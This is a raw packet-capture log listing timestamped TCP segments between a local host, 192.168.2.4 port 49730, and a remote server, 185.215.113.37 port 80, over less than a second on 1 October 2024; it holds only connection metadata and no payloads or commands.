Oct 1, 2024 06:03:11.615331888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615339041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615365028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615375996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615408897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615418911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615451097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615468979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615483046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615494013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615518093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615521908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615545988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615555048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615577936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615601063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615616083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615622997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615644932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615660906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615679026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615703106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615711927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615720034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615745068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615756989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615782976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615789890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615816116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615833044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615848064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615870953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615876913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615885019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615910053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615926027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615942955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615951061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.615976095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.615984917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616008997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616022110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616038084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616049051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616070986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616082907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616103888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616125107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616136074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616148949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616168022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616173983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616197109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616213083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616238117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616245031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616249084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616276979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616286993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616309881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616316080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616343975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616353989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616377115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616388083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616411924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616425037 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616444111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.616455078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.616489887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699552059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699599981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699613094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699635983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699644089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699670076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699675083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699706078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699712992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699739933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699749947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699773073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699790001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699806929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699817896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699840069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699843884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699872971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699882030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699908018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699915886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699940920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699949026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.699975014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.699979067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700006962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700023890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700040102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700052023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700072050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700081110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700109005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700140953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700140953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700148106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700176001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700181961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700207949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700217962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700242043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700251102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700278997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700279951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700321913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700700998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700748920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700750113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700786114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700797081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700819016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700831890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700853109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700861931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700896025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700903893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700947046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.700954914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.700998068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701004982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701039076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701055050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701070070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701078892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701109886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701119900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701149940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701158047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701183081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701191902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701215029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701227903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701246977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701258898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701281071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701289892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701313972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701318026 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701347113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701355934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701383114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701387882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701417923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701566935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701600075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701617956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701639891 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701708078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701741934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701756001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701776028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701782942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701817036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701854944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701886892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701901913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701919079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701926947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701953888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701962948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.701987028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.701994896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702024937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702038050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702069998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702080965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702102900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702105045 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702136993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702147007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702176094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702186108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702219009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702229977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702254057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702267885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702301025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702312946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702332973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702341080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702370882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702389956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702435970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702440023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702481985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702490091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702532053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702538967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702572107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702581882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702622890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702625036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702662945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702675104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702719927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702728987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702771902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702779055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702812910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702846050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702850103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702850103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702879906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702897072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702914000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702919006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702946901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702956915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.702980995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.702992916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703013897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703030109 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703054905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703056097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703087091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703093052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703120947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703128099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703152895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703162909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703185081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703190088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703217030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703221083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703250885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703263044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703284979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703293085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703319073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703326941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703351021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703352928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703403950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703404903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703438997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703444004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703473091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703478098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703505993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703514099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703538895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703557968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703568935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703584909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703603029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703619957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703636885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703645945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703672886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703676939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703706026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703715086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703738928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703747988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703772068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703779936 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703804970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703811884 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703840017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703846931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703872919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703885078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703906059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703913927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703936100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703948021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.703968048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.703982115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704000950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704015970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704032898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704041958 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704066038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704078913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704102993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704114914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704137087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704142094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704169989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704175949 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704202890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704222918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704236031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704245090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704269886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704277992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704302073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704309940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704334974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704344988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704368114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704375029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704401970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704406977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704433918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704447985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704468012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704476118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704499960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704509974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704534054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704540968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704566002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704580069 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704601049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.704607010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.704647064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786139965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786205053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786207914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786243916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786251068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786278009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786283970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786310911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786317110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786345005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786354065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786379099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786386967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786413908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786421061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:11.786448002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:11.786458969 CEST	49730	80	192.168.2.4	185.215.113.37
